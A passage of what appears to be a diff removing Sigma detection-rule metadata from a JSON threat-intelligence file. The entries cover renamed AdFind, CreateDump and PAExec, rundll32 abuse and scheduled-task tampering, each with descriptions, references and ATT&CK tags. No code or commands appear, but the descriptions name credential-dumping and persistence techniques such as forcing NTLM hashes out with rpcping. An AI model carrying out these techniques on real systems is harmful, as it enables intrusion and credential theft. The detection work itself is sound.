"dd3ee8cc-f751-41c9-ba53-5a32ed47e563", - "value": "Suspicious Reg Add Open Command", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_open_command.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2021/12/20", - "filename": "proc_creation_win_susp_reg_open_command.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", - "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b", - "value": "Renamed AdFind Detection", - "meta": { - "refs": [ - "https://www.joeware.net/freetools/tools/adfind/", - "https://thedfirreport.com/2020/05/08/adfind-recon/", - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", - "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.002" - ], - "creation_date": "2022/08/21", - "filename": "proc_creation_win_susp_renamed_adfind.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory", - "uuid": "1a1ed54a-2ba4-4221-94d5-01dee560d71e", - "value": "Renamed CreateDump Process Dump", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://twitter.com/bopin2020/status/1366400799199272960", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ], - "creation_date": "2022/09/20", - "filename": "proc_creation_win_susp_renamed_createdump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Command lines that use the same flags" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation", - "uuid": "340a090b-c4e9-412e-bb36-b4b16fe96f9b", - "value": "Renamed ZOHO Dctask64", - "meta": { - "refs": [ - "https://twitter.com/gN3mes1s/status/1222088214581825540", - "https://twitter.com/gN3mes1s/status/1222095963789111296", - "https://twitter.com/gN3mes1s/status/1222095371175911424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_dctask64.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1055.001", - "attack.t1202", - "attack.t1218" - ], - "creation_date": "2020/01/28", - "filename": "proc_creation_win_susp_renamed_dctask64.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown yet" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious renamed SysInternals DebugView execution", - "uuid": "cd764533-2e07-40d6-a718-cfeec7f2da7f", - "value": "Renamed SysInternals Debug View", - "meta": { - "refs": [ - "https://www.epicturla.com/blog/sysinturla", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_debugview.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ], - "creation_date": "2020/05/28", - "filename": "proc_creation_win_susp_renamed_debugview.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of renamed version of PAExec. Often used by attackers", - "uuid": "c4e49831-1496-40cf-8ce1-b53f942b02f9", - "value": "Renamed PAExec", - "meta": { - "refs": [ - "https://www.poweradmin.com/paexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2021/05/22", - "filename": "proc_creation_win_susp_renamed_paexec.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Weird admins that rename their tools", - "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing", - "When executed with the \"-s\" flag. PAExec will copy itself to the \"C:\\Windows\\\" directory with a different name. Usually like this \"PAExec-[XXXXX]-[ComputerName]\"" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", - "uuid": "93671f99-04eb-4ab4-a161-70d446a84003", - "value": "Capture Credentials with Rpcping.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", - "https://twitter.com/vysecurity/status/974806438316072960", - "https://twitter.com/vysecurity/status/873181705024266241", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_susp_rpcping.yml", - "author": "Julia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process related to rundll32 based on arguments", - "uuid": "e593cf51-88db-4ee1-b920-37e89012a3c9", - "value": "Suspicious Rundll32 Activity", - "meta": { - "refs": [ - "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", - "https://twitter.com/Hexacorn/status/885258886428725250", - "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", - "https://twitter.com/nas_bench/status/1433344116071583746", - "https://twitter.com/eral4m/status/1479106975967240209", - "https://twitter.com/eral4m/status/1479080793003671557", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_activity.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_rundll32_activity.yml", - "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal", - "uuid": "e79a9e79-eb72-4e78-a628-0e7e8f59e89c", - "value": "Suspicious Call by Ordinal", - "meta": { - "refs": [ - "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", - "https://github.com/Neo23x0/DLLRunner", - "https://twitter.com/cyb3rops/status/1186631731543236608", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_by_ordinal.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_susp_rundll32_by_ordinal.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment", - "Windows control panel elements have been identified as source (mmc)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", - "uuid": "1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd", - "value": "Suspicious Rundll32 Invoking Inline VBScript", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ], - "creation_date": "2021/03/05", - "filename": "proc_creation_win_susp_rundll32_inline_vbs.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code", - "uuid": "9f06447a-a33a-4cbe-a94f-a3f43184a7a3", - "value": "Rundll32 JS RunHTMLApplication Pattern", - "meta": { - "refs": [ - "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_js_runhtmlapplication.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/01/14", - "filename": "proc_creation_win_susp_rundll32_js_runhtmlapplication.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", - "uuid": "a4694263-59a8-4608-a3a0-6f8d3a51664c", - "value": "Suspicious Key Manager Access", - "meta": { - "refs": [ - "https://twitter.com/NinjaParanoid/status/1516442028963659777", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_keymgr.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ], - "creation_date": "2022/04/21", - "filename": "proc_creation_win_susp_rundll32_keymgr.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", - "uuid": "1775e15e-b61b-4d14-a1a3-80981298085a", - "value": "Suspicious Rundll32 Without Any CommandLine Params", - "meta": { - "refs": [ - "https://www.cobaltstrike.com/help-opsec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2021/05/27", - "filename": "proc_creation_win_susp_rundll32_no_params.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Possible but rare" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process related to rundll32 based on arguments", - "uuid": "73fcad2e-ff14-4c38-b11d-4172c8ac86c7", - "value": "Suspicious Rundll32 Script in CommandLine", - "meta": { - "refs": [ - "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.011/T1218.011.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_script_run.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2021/12/04", - "filename": "proc_creation_win_susp_rundll32_script_run.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", - "uuid": "285b85b1-a555-4095-8652-a8a4106af63f", - "value": "Suspicious Rundll32 Setupapi.dll Activity", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", - "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", - "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", - "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_susp_rundll32_setupapi_installhinfsection.yml", - "author": "Konstantin Grishchenko, oscd.community", - "level": "medium", - "falsepositive": [ - "Scripts and administrative tools that use INF files for driver installation with setupapi.dll" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", - "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b", - "value": "RunDLL32 Spawning Explorer", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_spawn_explorer.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2022/04/27", - "filename": "proc_creation_win_susp_rundll32_spawn_explorer.yml", - "author": "elhoim, CD_ROM_", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452", - "uuid": "731231b9-0b5d-4219-94dd-abb6959aa7ea", - "value": "Suspicious Rundll32 Activity Invoking Sys File", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_sys.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2021/03/05", - "filename": "proc_creation_win_susp_rundll32_sys.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious call to the user32.dll function that locks the user workstation", - "uuid": "3b5b0213-0460-4e3f-8937-3abf98ff7dcc", - "value": "Suspicious Workstation Locking via Rundll32", - "meta": { - "refs": [ - "https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_user32_dll.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/06/04", - "filename": "proc_creation_win_susp_rundll32_user32_dll.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Scripts or links on the user desktop used to lock the workstation instead of Windows+L or the menu option" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects the execution of Run Once task as configured in the registry", - "uuid": "198effb6-6c98-4d0c-9ea3-451fa143c45c", - "value": "Run Once Task Execution as Configured in Registry", - "meta": { - "refs": [ - "https://twitter.com/pabraeken/status/990717080805789697", - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runonce_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/10/18", - "filename": "proc_creation_win_susp_runonce_execution.yml", - "author": "Avneet Singh @v3t0_, oscd.community", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of powershell scripts via Runscripthelper.exe", - "uuid": "eca49c87-8a75-4f13-9c73-a5a29e845f03", - "value": "Suspicious Runscripthelper.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_runscripthelper.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_susp_runscripthelper.yml", - "author": "Victor Sergeev, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious process run from unusual locations", - "uuid": "15b75071-74cc-47e0-b4c6-b43744a62a2b", - "value": "Suspicious Process Start Locations", - "meta": { - "refs": [ - "https://car.mitre.org/wiki/CAR-2013-05-002", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_run_locations.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "car.2013-05-002" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_run_locations.yml", - "author": "juju4, Jonhnathan Ribeiro, oscd.community", - "level": "medium", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of Remote Utilities RAT (RURAT) from an unsual location (outisde of 'C:\\Program Files')", - "uuid": "e01fa958-6893-41d4-ae03-182477c5e77d", - "value": "Execution of Remote Utilities RAT (RURAT) From Unusual Location", - "meta": { - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rurat_exec_location.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/19", - "filename": "proc_creation_win_susp_rurat_exec_location.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location\nAttackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on\nInstead they modify the task after creation to include their malicious payload\n", - "uuid": "1c0e41cd-21bb-4433-9acc-4a2cd6367b9b", - "value": "Suspicious Modification Of Scheduled Tasks", - "meta": { - "refs": [ - "Internal Research", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_change.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/07/28", - "filename": "proc_creation_win_susp_schtasks_change.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", - "uuid": "dbc1f800-0fe0-4bc0-9c66-292c2abe3f78", - "value": "Delete Important Scheduled Task", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_susp_schtasks_delete.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of schtasks with the delete flag and the asterisk symbole to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", - "uuid": "220457c1-1c9f-4c2e-afe6-9598926222c1", - "value": "Delete All Scheduled Tasks", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_susp_schtasks_delete_all.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when adversaries stop services or processes by disabling their respective schdueled tasks in order to conduct data destructive activities", - "uuid": "9ac94dc8-9042-493c-ba45-3b5e7c86b980", - "value": "Disable Important Scheduled Task", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task", - "https://twitter.com/MichalKoczwara/status/1553634816016498688", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_disable.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ], - "creation_date": "2021/12/26", - "filename": "proc_creation_win_susp_schtasks_disable.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", - "uuid": "81325ce1-be01-4250-944f-b4789644556f", - "value": "Suspicious Schtasks From Env Var Folder", - "meta": { - "refs": [ - "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", - "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/02/21", - "filename": "proc_creation_win_susp_schtasks_env_folder.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Benign scheduled tasks creations or executions that happen often during software installations", - "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects scheduled task creations that have suspicious action command and folder combinations", - "uuid": "8a8379b8-780b-4dbf-b1e9-31c8d112fefb", - "value": "Schtasks From Suspicious Folders", - "meta": { - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/04/15", - "filename": "proc_creation_win_susp_schtasks_folder_combos.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious scheduled task creations from a parent stored in a temporary folder", - "uuid": "9494479d-d994-40bf-a8b1-eea890237021", - "value": "Suspicious Add Scheduled Task Parent", - "meta": { - "refs": [ - "https://app.any.run/tasks/649e7b46-9bec-4d05-98a5-dfa9a13eaae5/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_parent.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/02/23", - "filename": "proc_creation_win_susp_schtasks_parent.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Software installers that run from temporary folders and also install scheduled tasks" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious scheduled task creations with commands that are uncommon", - "uuid": "f2c64357-b1d2-41b7-849f-34d2682c0fad", - "value": "Suspicious Add Scheduled Command Pattern", - "meta": { - "refs": [ - "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_pattern.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/02/23", - "filename": "proc_creation_win_susp_schtasks_pattern.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Software installers that run from temporary folders and also install scheduled tasks" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects scheduled task creations or modification on a suspicious schedule type", - "uuid": "24c8392b-aa3c-46b7-a545-43f71657fe98", - "value": "Suspicious Schtasks Schedule Types", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/09/09", - "filename": "proc_creation_win_susp_schtasks_schedule_type.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitmate processes that run at logon. Filter according to your environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type", - "uuid": "7a02e22e-b885-4404-b38b-1ddc7e65258a", - "value": "Suspicious Schtasks Schedule Type With High Privileges", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_schedule_type_system.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2022/08/31", - "filename": "proc_creation_win_susp_schtasks_schedule_type_system.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Some installers were seen using this method of creation unfortunately. Filter them in your environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "schtasks.exe create task from user AppData\\Local\\Temp", - "uuid": "43f487f0-755f-4c2a-bce7-d6d2eec2fcf8", - "value": "Suspicious Add Scheduled Task From User AppData Temp", - "meta": { - "refs": [ - "malware analyse https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_user_temp.yml" - ], - "tags": [ - "attack.execution", - "attack.t1053.005" - ], - "creation_date": "2021/11/03", - "filename": "proc_creation_win_susp_schtasks_user_temp.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of scheduled tasks in user session", - "uuid": "92626ddd-662c-49e3-ac59-f6535f12d189", - "value": "Scheduled Task Creation", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1053.005", - "attack.s0111", - "car.2013-08-001" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_schtask_creation.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Administrative activity", - "Software installation" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", - "uuid": "39019a4e-317f-4ce3-ae63-309a8c6b53c5", - "value": "Suspicious Scheduled Task Creation Involving Temp Folder", - "meta": { - "refs": [ - "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtask_creation_temp_folder.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005" - ], - "creation_date": "2021/03/11", - "filename": "proc_creation_win_susp_schtask_creation_temp_folder.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity", - "Software installation" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)", - "uuid": "75bfe6e6-cd8e-429e-91d3-03921e1d7962", - "value": "ScreenConnect Remote Access", - "meta": { - "refs": [ - "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_screenconnect_access.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1133" - ], - "creation_date": "2021/02/11", - "filename": "proc_creation_win_susp_screenconnect_access.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use by administrative staff" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", - "uuid": "0fc35fc3-efe6-4898-8a37-0b233339524f", - "value": "Suspicious ScreenSave Change by Reg.exe", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", - 